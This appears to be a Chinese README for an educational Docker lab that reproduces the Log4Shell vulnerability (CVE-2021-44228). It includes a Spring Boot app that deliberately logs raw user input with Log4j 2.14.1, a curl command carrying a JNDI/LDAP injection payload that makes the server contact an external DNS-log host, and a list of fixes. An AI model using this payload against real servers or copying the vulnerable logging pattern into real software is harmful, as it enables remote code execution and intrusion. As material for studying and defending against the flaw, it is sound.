本项目是一个受控的测试环境,用于复现和理解影响Apache Log4j库的严重漏洞Log4Shell(CVE-2021-44228)。
Secutp1/
├── Dockerfile # 构建Docker镜像
├── pom.xml # Maven依赖(有漏洞的Log4j 2.14.1)
├── README.md # 本文件
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # 有漏洞的Spring Boot应用
演示攻击者如何利用漏洞CVE-2021-44228,仅通过发送一个恶意字符串,强制服务器发起未经授权的出站网络连接。
pom.xml)pom.xml文件强制使用Log4j 2.14.1,这是安全补丁之前的版本:
<log4j2.version>2.14.1</log4j2.version>
该版本包含默认启用的JndiLookup类,这是问题的根源。
VulnerableApplication.java)该应用暴露了一个REST Web服务。漏洞位于index方法中:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// 漏洞行:
logger.info("接收到请求,input: " + input);
return "您好!您的输入已被记录:" + input;
}
问题:应用获取用户参数(input)并直接传递给logger.info(),未做任何过滤。Log4j随后将内容解释为潜在的指令。
Dockerfile)Dockerfile使用两阶段构建:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre运行💡 使用Java 11是恰当的,因为较新版本默认限制远程类加载。
利用基于JNDI(Java命名和目录接口)注入:
${jndi:协议://url}语法确保以下文件位于同一目录:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
该命令下载Maven依赖(Log4j 2.14.1)并创建镜像。
docker run -p 8080:8080 --name demo-log4j vulnerable-app
应用现在监听端口8080。
访问一个DNS日志服务:
复制提供的地址(例如我的测试.dnslog.cn)
在一个新终端中,运行以下命令:
curl "http://localhost:8080/?input=\${jndi:ldap://我的测试.dnslog.cn/a}"
📝 注意:
\字符用于在终端中转义$。
返回dnslog网站。您将看到一条DNS请求出现,确认服务器执行了注入的代码。
服务器仅通过记录用户请求,就建立了通向外部机器的出站连接。
在真实场景中,该连接可能用于:
要修复此漏洞:
-Dlog4j2.formatMsgNoLookups=true本项目仅供教育目的。请负责任且合乎道德地使用。
| 步骤 | 操作 |
|---|
| 1 | Java应用收到HTTP请求 |
| 2 | logger.info(...)行处理input参数 |
| 3 | Log4j检测到${jndi:...}语法 |
| 4 | Log4j向远程服务器发起LDAP解析 |
| 5 | DNSLog接口上出现一条DNS请求 |